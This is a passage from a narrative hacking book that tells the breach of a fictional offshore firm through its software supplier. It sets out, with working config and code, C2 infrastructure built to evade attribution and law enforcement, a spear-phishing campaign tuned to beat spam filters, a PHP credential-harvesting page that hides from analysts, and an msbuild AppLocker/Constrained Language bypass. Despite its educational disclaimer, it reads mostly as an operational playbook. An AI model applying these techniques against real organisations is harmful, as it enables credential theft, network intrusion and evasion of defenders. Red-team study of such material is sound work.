How To Hack Like A LEGEND
How To Hack Like A LEGEND
LEGEND
A hacker’s tale breaking into a secretive
offshore company
Copyright © 2018 Sparc FLOW
All rights reserved. No part of this publication may be reproduced,
distributed, or transmitted in any form or by any means, including
photocopying, recording, or other electronic or mechanical methods,
without the prior written permission of the publisher, except in the case
of brief quotations embodied in critical reviews and certain other
noncommercial uses permitted by copyright law.
Foreword
This is the story of one hacker who met his match in the form of
machine learning, behavioral analysis, artificial intelligence, and a
dedicated SOC team while breaking into an offshore service provider.
Most hacking tools simply crash and burn in such a hostile environment.
This book does not promote hacking, software cracking, and/or piracy.
All of the information provided in this book is for educational purposes
only. It will help companies secure their networks against the attacks
presented, and it will help investigators assess the evidence collected
during an incident.
http://amzn.to/2BXYGpA
http://amzn.to/2iwprf6
http://amzn.to/2gadyea
Content table
Foreword ............................................................... 4
Starting blocks ....................................................... 9
Bending but never breaking .............................................................. 12
Scream, aim, fire! ............................................................................. 20
Pitching a curveball .......................................................................... 28
Perfecting the hook ........................................................................... 36
It’s no wonder that some people finally give in and agree to listen to
their notoriously intense pitches about cyber attacks, cyber awareness,
cyber threat hunting, and the many other “cyber” buzzwords that I can
hardly write down with a straight face1.
However, the careful hacker should note that the majority of this so-
called “cyber-crap” has a pretty decent chance of detecting an off-the-
shelf obfuscated PowerShell command2 or Meterpreter executable
freshly generated on a standard Kali machine.
instance
3 https://github.com/samratashok/nishang
It is a deceitful tactic that delivers quick results during short proofs of
concept conducted by low-grade pentesters, while being just enough to
impress CISOs and other decision-makers during a 30-minute demo.
Of course, far too many people are now familiar with the signature
model and its limitations when facing a new malware strain, so new
vendors who want to get a bite of the market share have had to revamp
their marketing techniques—hence the invention of a new cyber
buzzword almost every week.
You may not deal with these newcomers when hacking your next
target, but they are slowly taking over the corporate market share. Given
the ever-growing number of publicly shamed companies that succumb to
yet another trivial hack, executive management is increasingly pushing
IT teams to address current security issues in unreasonable time frames.
There was a time when security products were more civilized. If you
drop a malware and it gets flagged, the antivirus would simply remove it
and hand you the ball to try again.
However, the majority of new tools are playing dirty. When they
register a suspicious event (e.g., blacklisted domain, odd network packet,
uncommon IP address, process injection, etc.), they let it continue its
course but silently raise an alert and wait for the operator to hit the panic
button.
4Obviously, I will not specifically name companies in this book, but every time you
hear the words “EDR” (for Endpoint Detection Response), “Next-Gen” something,
deep inspection or other fancy words, adopt a very skeptical approach.
If you get caught in your automated mode of dropping a PowerShell
Empire agent, port scanning and mass-Mimikatz execution—just like you
did in the old days—you will be busted harder and faster than a drug
dealer waiving his cocaine stash at a police officer.
Alright, maybe that’s not completely true right now because, let’s face
it, not every company has the resources to deploy machine learning tools
and complicated endpoint security.
You see where I am going with this, right? In this How to Hack Like a
Legend edition, we will cover new and shiny techniques to fly under the
sophisticated radars of this new category of tools. We will attempt to hack
one of these rumored golden companies with a dedicated security team,
machine learning tools, and all the goodies that generously sponsor all
big-shot conferences, from Black Hat to RSA5.
For a more in-depth description of how to set up this platform and all
the basic principles to follow, I encourage you to read chapter one of How
to Hack Like a Pornstar (http://amzn.to/2iwprf6).
All in all, this setup is great for a one-time job, but as soon as you start
chaining targets, you will inevitably feel the weight of this architecture.
Moreover, not all hosting providers offer the flexibility of big cloud
services like Amazon and Google Cloud, so it may not be possible to
simply clone machines or build a standard image that we can replicate.
6 http://cryto.net/~joepie91/bitcoinvps.html or https://acceptbitcoin.cash/#hosting
The reason we need to take extra precautions is because we simply
cannot run the risk of having the same IP address attack Bank_A and
Insurer_B7.
That’s the best way to attract the attention of some analyst who is
desperately looking to brand a new hacker group with a catchy name like
APT35 or FancyBear (http://bit.ly/2ILHuHq).
More importantly, though, having one front server to launch all of our
attacks necessarily makes it a single point of failure. All a company needs
to do to block our supposedly advanced malicious payload that we spent
weeks customizing is to blacklist the server’s IP address. So much for an
advanced attack.
Not to mention that the first analyst to spot our payload could simply
attack the server back—think Denial of Service, bruteforce attack, remote
code execution vulnerability in the exploit framework (Empire8 or
Metasploit), etc.
For all their ingenious tricks and bragging about their security skills,
very few hackers actually take the time to properly lock down their own
Command and Control (C2) servers (take a look at the following links
http://bit.ly/2uQR60l and https://ubm.io/2Hi0SeM for stories of vulnerabilities
in popular remote access tools).
To avoid these issues, we will take the time to properly set up what
some might call a “resilient hacking infrastructure”. This environment will
provide maximum flexibility and modularity by tying each independent
brick of the infrastructure to an atomic operation of the attack.
Thus, in light of this new rule, when we revisit our earlier architecture,
we can immediately see the need to dichotomize backend servers per
function and add several public relays—preferably hosted on another
service provider (I removed elements related to anonymity for simplicity):
There’s nothing better than an example to fully walk you through the
process, so let’s get on with it.
10 https://github.com/EmpireProject/Empire
11The screen command can be pretty useful to resume the Empire session after
terminating the SSH connection https://www.howtoforge.com/linux_screen
(Empire: listeners) > Uselistener http
While we are on the subject of listeners, keep in mind that we can and
should customize each instance as much as possible to avoid easy traps
laid down by signature matching algorithms:
Though the “Host” setting in the listener may be set to the fixed public
relay’s IP, we can freely override it later in the stager’s code; after all, the
whole point of this infrastructure is to use multiple domains and public IP
addresses tied to the same listener instance.
To be able to bind public ports (443 on the relay’s public IP), we need
to add the following directive to the /etc/ssh/sshd_config file:
GatewayPorts yes
Once we restart the SSH server on the relay server, we can go back
to the C2 server and launch the following command to establish the
tunnel:
13 Empire generates a PowerShell agent that ignores errors raised when using a
self-signed certificate. It is all the better since even if we manage to generate a
valid certificate for one domain, it would necessarily be invalid if the fancy takes
us to use another domain. Obviously including all our C2 domain names in one
SSL certificate is not an option since anyone can poll this certificate and thus
uncover all of our domain names.
14 Unfortunately SSL alone does not guarantee total impunity. Some companies
perform SSL interceptions and can therefore decrypt the traffic on the fly.
Now every packet coming to the port 443 on the public relay will be
sent through the encrypted tunnel to the address
<C2Server_private_ip>:8443 where our Empire/Meterpreter listener is
located. Thus, the C2 server is only reachable through this one port that
is open on another server.
In fact, it does not even need a dedicated public IP address since the
tunnel is built using an outgoing SSH connection through the hosting
provider’s gateway. Such is the beauty of reverse port forwarding.
Rinse and repeat for the phishing redirector, except this time, instead
of an Empire Listener, we will have an Apache server delivering a legit-
looking website (more on that later).
The first hosting provider is oblivious to any attack going on, and even
if they choose to cooperate with law enforcement or the target’s analyst
team, they can only give them the second hosting provider’s gateway
(used by the C2 server to establish the SSH tunnel) which will not get
them very far in the investigation process, nor provide powerful leverage
over the second hosting provider.
Any virtual private server (VPS) provider will give you the option of
having public IP addresses, but maybe not in all geographical regions—
hence the need to diversify your assets.
Domain names, however, are up for the choosing. We will deal with
this particular step in a dedicated chapter since it does require some
special attention.
Finally, we set up another VPS server for direct aggressive attacks:
Nmap scans, probing for vulnerabilities in the target’s web applications,
etc. We do not want these high-risk packets to be picked up by monitoring
devices, betraying our C2 shells in the process15.
All of these machines can host whatever operating system you feel
most comfortable with: Ubuntu, Red Hat, Windows, etc. If you get enough
CPU, you could even virtualize a Kali if your heart is set on it, but you will
quickly realize that we will not need many off-the-shelf tools for this
particular scenario, so a good old Ubuntu will do just fine.
In the first draft of this book, I suggested the option of subscribing to AWS,
Azure or Google Cloud to host our public relays.
The only issue is that these providers ask for a credit card number to
complete registration. Not the most privacy-friendly option.
There used to be an easy way around this restriction using prepaid virtual
cards. Services like Cryptopay, Bitwala and Wirex, for instance, allowed
people to order virtual VISA cards paid in Bitcoin without performing
identity checks (usually for a total of expenses up to $1000).
While most virtual card services are still struggling to find an alternative
card provider, one or two services have managed to survive due to their
partnerships with smaller card providers (http://bit.ly/2IEVq5L).
15 For alternative setups and a detailed description of a resilient hacking (or Red
team) infrastructure, check out https://github.com/bluscreenofjeff/Red-Team-
Infrastructure-Wiki
However, the only one I could find that does not require ID verification
(up to $3000) is http://prepaidcloud.tech, but I find it impossible to trust a
payment website that does not even implement basic https security—it’s
2018 for crying out loud!
It seems the best we can do now is follow the matter closely and hope
that the virtual card business finds a way to reestablish its services.
****
What you and I would bluntly call tax evasion is stretched into a whole
sentence of obscure financial jargon that makes it sound like an innocent
Sunday hobby.
Quick, what is the first thing that pops into your head when thinking
about penetrating a company’s defenses? Please do not say Nmap…
Exactly, phishing!
16 https://blogs.apache.org/foundation/entry/media-alert-the-apache-software
17 https://en.wikipedia.org/wiki/WannaCry_ransomware_attack
18 https://www.csoonline.com/article/3233210/ransomware/petya-ransomware-
and-notpetya-malware-what-you-need-to-know-now.html
Regardless, if you are looking for the surest way to breach a specific
company—as opposed to casting a wide net to catch low-hanging fruits—
phishing is the go-to attack strategy. It exploits a basic human weakness:
boredom at work coupled with the infamous see-link-click-link syndrome.
Before diving into technical details, let’s first gather a bit of information
about G&S Trust. Their main website (www.gs-corp.com) states that
G&S Trust has around fifteen senior partners, spread across five
geographic locations: Cyprus, Seychelles, Hong Kong, Malta and, very
recently, Singapore.
We can always use this pretense in our phishing email. For example,
a new IT feature deployed in Singapore, IT problems due to new offices,
latency in email services, etc.
The main issue we may presently face, however, is the small number
of potential targets. Fifteen senior executives, plus probably one or two
accountants per country, barely brings our total to twenty-five.
Furthermore, when you think about it, it’s not like we can breach the
company’s network by sending a trapped attachment to senior executives
who spend most of their time working on an iPhone from the airport’s VIP
lounge.
**Notes on state actors and phishing**
State actors have been known to only target one or two responsive
employees and fingerprint their environment through multiple phishing
emails containing attachments; which version of Office are they running,
what is their default browser?
...Right.
Maybe that was true twenty-five years ago, back when you could dial-
in into an electric main grid over Telnet with “root/root”, but those days
are long over.
I am not saying that dropping USB keys (provided one cares to mail
them, use a mule, or personally drop them) does not work anymore20. It
still does to some extent. However, arguing that it is an easy and foolproof
method is not sensible or helpful.
In any case, back to G&S Trust. Let’s leave this phishing thing aside
for now21 as a kind of last-resort weapon if everything else fails and focus
on searching for another entry point—hopefully a vulnerability on some
of their internet-facing applications, perhaps? Let’s dig into that.
19 https://hakshop.com/products/usb-rubber-ducky-deluxe
20 On a side note, check out this awesome project to execute custom payloads
over Wi-Fi by injecting keystrokes using a custom USB key
https://github.com/whid-injector/WHID
21 One could argue that, despite the seriously small target and thin odds, it is worth
going down the phishing road. After all, we only need one gullible user to get in.
However, bear with me—I have something more interesting in store for you.
Reminder
As stated in the previous chapter, all the following direct probes are sent
through the FrontGun server, either through a proxychains tunnel or
commands executed directly on the server.
We will not even bother looking for vulnerabilities on this one. We are
trying to breach the company’s network, not that of its hosting provider.
mytaxadvice.gs-corp.com
career.gs-corp.com
mail.gs-corp.com
owa.gs-corp.com
www.gs-corp.com
Isn’t that depressing? I know that G&S Trust is niche company, but
there are local bloggers with more websites than that.
• mytaxadvice.gs-corp.com
• career.gs-corp.com
• mail.gs-corp.com
• owa.gs-corp.com
• www.gs-corp.com
• gstrust-foundation.org
23Yes, DNS-Recon also looks for CNAME and MX fields, scouts Google and Bing
for subdomains, but the bruteforce attack is certainly DNS-Recon’s most powerful
and comprehensive feature.
I put together a handy python script that does the job
(http://bit.ly/2FUFEpH). It loops through multiple WHOIS calls and extracts
relevant information in a readable Excel file:
When facing a target so small that even Google has trouble indexing
their websites, you should always pause for a few seconds and think
about the big picture. G&S Trust is not an island lost in the big blue sea
that is the internet.
Surely, they must have “weaker” and more exposed partners that we
can infiltrate and use as a trampoline to bounce onto their internal
network.
From this alone, we are able to figure out that G&S Trust only uses
Windows 8.1 and 10 computers, works mainly with SQL Server
databases 2012, and installed Juniper and Cisco Firewalls. While this
might not help us get in directly (unless we use some form of social
engineering), it might provide valuable insight once inside the network.
That’s the smell of a very tempting yet dangerous idea that starts to
take shape somewhere in the darkness of our minds.
On the other hand, if the antivirus flags the accounting software that
has been used for the last ten years, it takes just one call to the IT admin
team and the antivirus is either disabled or an exclusion list is created to
spare the software. How’s that for a preferential treatment...
Pitching a curveball
Now that we have our theoretical scenario in mind, we can start the
same dance all over again, i.e., digging out as much information as
possible on Strat Jumbo using Google, Github, LinkedIn, Twitter,
Shodan—all the classics28.
27http://blog.talosintelligence.com/2017/07/the-medoc-connection.html
28 Did I mention https://github.com/jivoi/awesome-osint ? yes, well it’s that
awesome!
Strat Jumbo Inc. is a London-based company with around 800
employees (mainly back-end programmers) spread across ten countries.
This is a company with enough potential targets to ensure a significant
ROI should we conduct a phishing campaign.
However, before drafting the phishing email, let’s take a brief look at
their internet-facing assets. The idea is not to look for vulnerabilities—
though we will not shy away from playing with some parameters here and
there.
I cannot stress the importance of these finer details. They help paint
a trusted canvas that is visible only to the victim’s subconscious brain.
Satisfy this wild beast and it will immediately inhibit future suspicions
coming from the frontal lobe.
The result is that the target is “naturally” compelled to click on the link
and download the attachment because the email feels familiar at a deep
level. It is consistent color-wise, shape-wise and content-wise with the
target’s unconscious expectations.
To discover Strat Jumbo’s internet domains, we follow the same
approach as before, using a combination of Censys and DNS-Recon29 (“-
t” option indicates a bruteforce attack while “-d” points to the wordlist
used):
29 https://github.com/darkoperator/dnsrecon
30 https://findsubdomains.com is another interesting website to find subdomains.
A tip courtesy of @5ub34x
31 http://bit.ly/2Gf41O5
32 You can also use Chrome and Firefox’s headless features
https://github.com/GoogleChrome/puppeteer
At this point, your usual red-teamer or pentester will jump right into
typing out a tempting phishing email that pulls all the stops: time
constraint, intrigue, convincing pretense, right keywords, fitting email
template—but before leaping right in, I would like to take a few lines to
stress a couple of key points about the enemy lines we are about to cross.
Most of them just get flat rejected by the corporate email server. Sure,
theoretically speaking, we only need to fool one user to get inside, but
why raise so many alerts and suffer such thin odds when minor
adjustments could dramatically increase the campaign’s success?
Spam filters
Though the algorithms of the mail servers of big giants, like Gmail,
Exchange, are for the most part unknown, there have been many studies
conducted that focused on means to reliably identify and block spammy
content33.
33https://www.cloudmark.com/en/s/resources/whitepapers/reputation-based-
approach-for-efficient-filtration-of-spam
One such crucial item, for instance, is the sender domain’s reputation.
The first mistake that most red-teamers, hackers and pentesters make is
registering a new domain a week or two before the phishing campaign
under the assumption that it will provide them with a “clean slate”. This
could not be further from the truth.
When receiving emails from such a virgin domain, spam filters will
automatically give them a crappy score, categorize them as possible junk
mail, and either send them to the spam folder or issue huge security
warnings that disable images and links altogether (e.g., this is sometimes
the case with the Microsoft Exchange server).
Email sandbox
One way to use this to our advantage is to make sure that our domain
that is hosting the malware is categorized as a sensitive resource (again,
more on that when registering domains later).
Antivirus
The one reliable way to defeat all antivirus solutions is to generate our
own custom stager without blindly copying ready-to-use code from
existing public resources.
35This is true about most of Europe where a strong sense of privacy is advocated
by the Law. Things might be different in the US, UK, China and other pro-
surveillance countries.
The stager is a small piece of code that downloads the full malware
and ideally runs it in memory. Since an antivirus software does not check
memory36, we can pretty much inject whatever we like, including
Meterpreter, Empire reverse shell, etc. Will this help us escape new
generation tools? We will find out soon enough!
Moreover, I just find that using link/attachments is crude and, well, too
noisy! Think about it, you will likely have a hundred machines pinging the
same C2 host over the course of at least 24 or 48 hours, if not more.
This sort of traffic stands out like a sore thumb to any decent analyst.
Some may even automate correlation rules to detect this precise
behavior. Furthermore, having a stager running on a workstation is
unstable at best.
It strips away much of the control from the hacker to put it right into
the user’s hands; they could turn-of the workstation, lose Wi-Fi in the
elevator, put the computer in sleep mode, etc.
Sometimes dropping a payload is of course the only way in, and thus
great care must be taken when deciding which persistence technique to
use, but if we look back at the reconnaissance performed earlier, we do
have a viable alternative that takes a more indirect approach and gives
us full autonomy over the target’s machines: the Extranet website.
36
Funny enough, I was talking with engineers from a leading antivirus company
one time about this same issue: in-memory execution. I pointed out that their new
upgrade still failed to address this problem. Their response was wide glaring eyes
and an aggressive “but, nobody does that!”. False—and in any case, you should.
37We used this technique in How to Hack Like a GOD, but if you want the full
paper, check out https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-
Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-
Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
Strat Jumbo’s extranet service, which is located at
Stratextranet.stratjumbo.com, allows some developers to connect to
internal machines, deploy code and review changes from virtually
anywhere in the world. It is one of their selling features for young nomad
programmers:
Now that we have a fully working, albeit theoretical, scenario, let’s get
right into it. Forget about msfvenom, Veil-evasion38 and other classic
malware building tools. We will focus instead on building a decent
credential-grabbing form and a nice phishing platform that bypasses most
modern spam filters.
38 https://github.com/Veil-Framework/Veil-Evasion
Perfecting the hook
If we cannot register a new domain for fear of having it flagged as
suspicious by spam filters, how can we acquire one? The solution is
simple enough; we register an old domain on https://expireddomains.net,
selecting one, for instance, that had been registered years ago but
recently expired.
That’s a lot of acronyms. Let’s dive in and explain a couple of the main
tests and rules applied to email headers—which are specific to Spam
Assassin—but whose principles hold for other spam filters as well.
41 http://spamassassin.apache.org/old/tests_3_2_x.html
• HEADER_FROM_DIFFERENT_DOMAINS. There are two
different “from” fields in an email. The “SMTP FROM” field and the
“FROM” field, both of which need to point to the same domain
name. This usually is not a problem unless we rely on an email
service provider like Mailchimp or Amazon SES.
These are the most significant checks related to email headers that we
need to nail down before launching the phishing campaign.
**Note**
We install postfix, the email server, on both the public relay and the
phishing backend:
The installation process is quite intuitive, but if you are doubtful, you
can always follow one of the many guides available on the internet
(http://bit.ly/2Ge8Ib7).
All emails will be sent from our phishing server but it will be necessary
that they go through the postfix on the phishing relay to mask our first IP
address, which is in line with the concept of resiliency.
myhostname = stratjumbotech.com
mynetworks = <Outgoing_IP_Phishing_Server> 127.0.0.0/8
inet_interfaces = all
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt
# Phishing server
relayhost = 52.16.162.47
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt
We can send a quick test email to our own inbox to ensure the service
is set up properly. The email’s headers should only display the relay’s IP
address42.
42If you would like to remove the internal IP address as well, follow this simple
guide. It does not really matter since we are using a redirector anyway, but maybe
you will find it useful for another case: https://major.io/2013/04/14/remove-
sensitive-information-from-email-headers-with-postfix/
Setting up DKIM, on the other hand, requires a bit more configuration.
Domain stratjumbotech.com
KeyFile /etc/opendkim/mail.private
Selector mail
SOCKET="inet:12301@localhost"
milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301
The public key (mail.txt) is published in a TXT DNS record that we set
up using Namecheap.
Now we’ll move onto the actual content of the email. Since we mainly
picked a list of programmers, we must choose a subject that they will
potentially feel passionate about. Something that will grab their attention
because they feel emotionally engaged with it for a brief minute, but
completely forget about the moment they close the website.
We do not have to go too much into the specifics, simply ask for their
feedback. We pick a real developer’s name from LinkedIn to further push
the vicious web of deceit:
--
Hello,
As some of you probably know, our teams in Australia have been working
on an exciting new plugin for our favorite IDE.
Today we would like to share a beta version of this plugin with your offices,
so feel free to give it a spin and give us your feedback: Hero plugin
Kind regards,
Michael Han
Senior programmer
T +61 02 9912 3981
--
As you can see, the text is to the point, does not over punctuate, nor
does it contain hidden links and uppercase text to urge users to click on
a link.
All these signs are heavily flagged by any decent spam filter anyway.
Rather, it casually invites programmers to click on the link and download
the plugin using simple and logical language.
The image code in the signature does more than display the
company’s logo and reassure users about its genuine origin. It also
allows us to track how many people opened the message since every
user viewing the message will fetch the image from our phishing server
(through the public relay).
<img src="https://www.stratjumbo.co.au/static/img/logo_img.png"
alt="strat jumbo logo" />
The link to the plugin included in the email contains a unique tag per
email to track targets once they get redirected to our phishing page:
https://www.stratjumbo.co.au/plugin-corporate-
offer/?utm_term=FAgUHRNXNj06FjtM
def xor_string(data):
key ="PibtwweIOwI8S6VEbADlRHpm4w4L6"
xored = ''.join(chr(ord(x)^ord(y)) for (x,y) in izip(data,
cycle(key)))
return base64.encodestring(xored).strip()
Getting valid employee names is the easy part, and we will eventually
deal with this later. For now, let’s just suppose that we have gathered
such a list.
We need a quick and dirty script to loop through it, build the
customized link by calling the xor_string function, include it in the email
and send it through the local postfix server. The following code is heavily
commented and fairly straightforward so feel free to dive into it:
#!/usr/bin/python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from itertools import izip, cycle
import base64
import time
If you have trouble landing in the inbox folder, it means that either the
domain name was poorly chosen or the email’s wording was deemed
suspicious. Phrases like free, click here, big opportunity and similar will
skyrocket the spam scoring.
**Note**
Never forget to register the source email address you are using
([email protected] in this case). It is as simple as
declaring an email forwarding setting in your DNS provider to a legit
mailbox (protonmail.com, mailfence.com, yopmail, etc.).
Next we’ll focus on setting up the website where these people will
entrust us with their credentials.
That said, there are some key variables that absolutely must remain
constant because they speak directly to the unconscious part of the brain.
These are consistency in the color chart, font family, conversation tone,
letter spacing, line thickness and the company’s logo.
If we get these straight, we will fool most users into thinking they are
on a trusted corporate website.
When you think about it, no single employee really knows every single
one of their corporate websites. Hell, even IT admins have a hard time
keeping up with corporate websites popping in and out of existence due
to marketing and communication initiatives.
To make it even more credible, we fill our website with different articles
about programming that we pick up here and there and sign them with a
legit employee names gathered from LinkedIn:
45 If you need help setting up a Wordpress website, follow this step-by-step guide:
https://codex.wordpress.org/Installing_WordPress
In the midst of this charade, we add a single hidden page that
announces a new plugin and invites users to authenticate using their
corporate credentials to download said plugin. Nothing too fancy mind
you, the bulk of persuasion was already carried out by the email and
website’s templates.
$data = $_POST['login']."\t".$_POST['password']."\n";
46 Use the plugin insert_php to write code in Wordpress posts and pages.
}
While this setup will certainly do the job, all it takes is one suspicious
programmer to forward the email to her analyst friend and the whole
campaign is doomed.
Each user, by design, gets a unique URL to our secret page thanks to
the name incorporated in the utm_term parameter.
Each time a user loads the page, we increment the counter field tied
to their unique utm_term parameter. With this in place, it is simply a
matter of checking whether the user previously visited the page (counter
superior to zero) or not (counter equals zero):
Next, we write the bootstrap PHP code that, upon loading the page,
checks the database to see which course of action to follow. If the page
has already been visited (counter > 0), it loads dummy content of exactly
the same length as the password-grabbing form. If not, it serves the
actual phishing page.
//Mysql connection
$db = new
PDO('mysql:host=localhost;dbname=catalog_db3;charset=utf8mb4',
'wp_user', 'Kja98&o:Lkaz098');
//Fetch the count field from the database tied to the specified
utm_term parameter
$stmt = $db->prepare("SELECT * FROM tokens WHERE
utmterm=:utmterm");
$stmt->execute(array(":utmterm"=> $_GET['utm_term']));
//If the user visits second time, show the usual error with
padding
} else {
They could then infer that some sort of filtering mechanism exists at
the server side and thus get incentive to probe further.
Great! Now we just need a list of targets to send this baby to, then we
sit back to enjoy the influx of passwords.
For all we know, our email may contain flagged keywords due to past
spam emails targeting Strat Jumbo. Or maybe they have a sophisticated
piece of monitoring device that we did not anticipate.
A second batch will depart around 12:30 p.m., when most people are
mindlessly biting into their daily sandwich and looking for a distraction.
A first hit already! One in 120 is a pretty low score—but give it time!
Typically, 90% of all the potential hits will occur during the first eight
hours.
Anything less than a 5% open rate would strongly indicate that our
message was most likely caught by the spam filter. This is unlikely in this
case, though, given the reactivity of the first user and the myriad of tests
and configuration steps we took.
In any case, we come back a couple of hours later and lo and behold,
twenty-five users have already graced us with their passwords, and the
count keeps on increasing:
If that’s not one of the sexiest things ever, I don’t know what is...
First dive in
“Testing leads to failure, and failure leads to
understanding.”
Burt Rutan
Just twenty-four hours after the phishing campaign, we’ve already hit
thirty-five passwords. That’s thirty-five bullets in our belt to attack Strat
Jumbo by impersonating some of their most critical staff. Curiosity being
what it is, our phishing email probably even fooled a few tech-savvy sales
people and IT admins.
We, however, are not pentesters. We do not have a time limit, nor a
duty to report findings and convince a reluctant board of executives.
Prison break
Through our FrontGun server (Virtual Private Server), which is
registered in London, we connect to the extranet application on
stratextranet.stratjumbo.com using one of the random credentials at
our disposal. Let’s go for Laura’s, since she also happens to work in the
UK:
For all its fancy graphics and sexy concepts of containment, Citrix, at
the end of the day, is nothing but a mirage. An illusion devised to deceive
the most gullible admins that readily believe it to be a security product.
The truth is that there is no containment enforced.
Any user that runs a program published through Citrix can escape the
visual constraints placed on the application and access the remote
server’s full resources: Windows Explorer, task manager, command line
interpreter, and basically every other resource, even though these were
not originally published on the StoreFront.
Not surprisingly, this throws out an error. That would have been too
easy, of course. Strat Jumbo seems to have raised the bar a little.
Probably aware of Citrix’s limitations, they have activated Microsoft’s
whitelisting solution, Applocker.
Back to the Firefox window, we press “Ctrl+O”, this time to launch the
“open dialog box”. We cannot access the main C: drive nor its share
counterpart (\127.0.0.1\C$). They are both blocked by Windows GPO
policies47.
47Group Policy Objects are a set of rules and settings applied at the domain level
to a subset of users and/or workstations. These rules can span a wide array of
configuration elements on Windows (password complexity, lockout time, etc.)
Funny enough, though, we can bypass this silly restriction by directly
browsing the file system through Firefox... ah, Windows!
We cannot write to these folders using the “save as” dialog box since
they are subject to the “File Explorer” GPO settings, but this simple read
access allows us to browse the hard drive looking for low-hanging fruits
like personal folders, passwords in clear text, forgotten configuration files
in temp folder, etc. Unluckily for us, nothing useful really stands out.
PS X:\> ipconfig
Windows IP Configuration
[...]
Connection-specific DNS Suffix : stratjumbo.lan
IPv4 Address. . . . . . . . . . . : 10.78.1.83
Subnet Mask . . . . . . . . . . . : 255.255.255.0
PS X:\> systeminfo
Host Name: STRAT-CI-01
OS Name: Microsoft Windows Server 2016 Datacenter
OS Version: 10.0.14393 N/A Build 14393
Domain: stratjumbo.lan
Hotfix(s): 4 Hotfix(s) Installed.
[01]: KB3186568
[02]: KB3192137
[03]: KB4049065
[04]: KB4077525
48Great resource that summarizes all these bypass techniques with detailed
payloads: https://github.com/api0cradle/UltimateAppLockerByPassList
49 The limitation to access the C: drive does not apply to the PowerShell session
any more than it did to Firefox session, except that this time we can freely write
to folders, as long it is allowed by access control permissions.
We are dealing with the latest version (as of February 2018) of
Windows Server 2016, build number 14393. It is sitting in the
10.78.1.83/24 sub network, probably in a DMZ away from the internal
network.
Members
--------------------------------------------
Administrator
STRATJUMBO\citrix_srv
STRATJUMBO\Domain Admins
------------------------------------------
admin.beny admin.ho admin.stanley
admin.edward admin.flavien admin.bill
admin.mehdi admin.penny admin.nastya
admin.jed admin.chan admin.ken
admin.shwartz admin.klauss admin.silberto
[...]
50 https://support.microsoft.com/en-us/help/4096309
In any case, it is time for a full domain reconnaissance using more
appropriate tools, like the infamous PowerView script51. We want to
gather real intelligence on Strat Jumbo’s environment, including
information on their user accounts, group membership, trust
relationships, etc.
# Add support for the default proxy with cached user credentials
$browser.Proxy.Credentials
=[System.Net.CredentialCache]::DefaultNetworkCredentials;
$ExecutionContext.SessionState.LanguageMode
51
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.
ps1
This mode also forbids some advanced features like calling .NET
methods, defining new classes from native C# code (add-type function),
starting jobs (start-job), and so on.
Out of luck again. The version 2 of the .NET framework is not installed
on this server.
We could avoid using PowerShell altogether, but it’s not like we have
a lot of options here. The Applocker policy deployed on this server even
covers DLLs. Only files from trusted locations can be loaded by any given
process:
It seems we need to bring out the big guns to escape this deadly
combination of Applocker and Constrained environment.
All core features available in PowerShell, for instance, are defined and
exported by the System.Management.Automation.dll file.
While PowerShell.exe is forced into Constrained mode when
Applocker activates, System.Management.Automation.dll is not. It
continues to operate in Full Language mode, oblivious to Applocker’s
rules.
Enter Casey Smith (@subtee). His many tips and tricks for abusing
trusted Windows binaries made him somewhat of a godly figure and
trusted reference in the security community.
All we need now is a project in the form of an XML file that contains
the code to be compiled. If successful, msbuild will automatically load and
run the executable file, thus bypassing Applocker rules.
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
</Project>
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Micr
osoft.Build.Tasks.v4.0.dll" >
</UsingTask>
</Project>
Inside the UsingTask element, we define the Task node (<task>) that
contains the Code element (<code>), where—surprise, surprise—we
can write C# code and call .NET functions.
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Micr
osoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
I will paste the C# code below in a standalone figure for better clarity,
but it is to be included in the above XML file, inside the Code element
(<code>).
Console.WriteLine("Executing PS commands");
Ps_instance.AddScript("$ExecutionContext.SessionState.LanguageMo
de");
Ps_instance.AddCommand("out-string");
Still with me? Good. I put the complete code on Github, just in case
you need to download and experiment with it (http://bit.ly/2pyXSCf). This is
the best way to fully internalize the concepts we are discussing.
Compiling and running this project file containing both the XML
structure and the C# code in our lab system is as straightforward as:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\msbuild.exe
readme.txt
We then run the same command as before, only this time from the
Open Dialog (Ctrl + O) on Firefox:
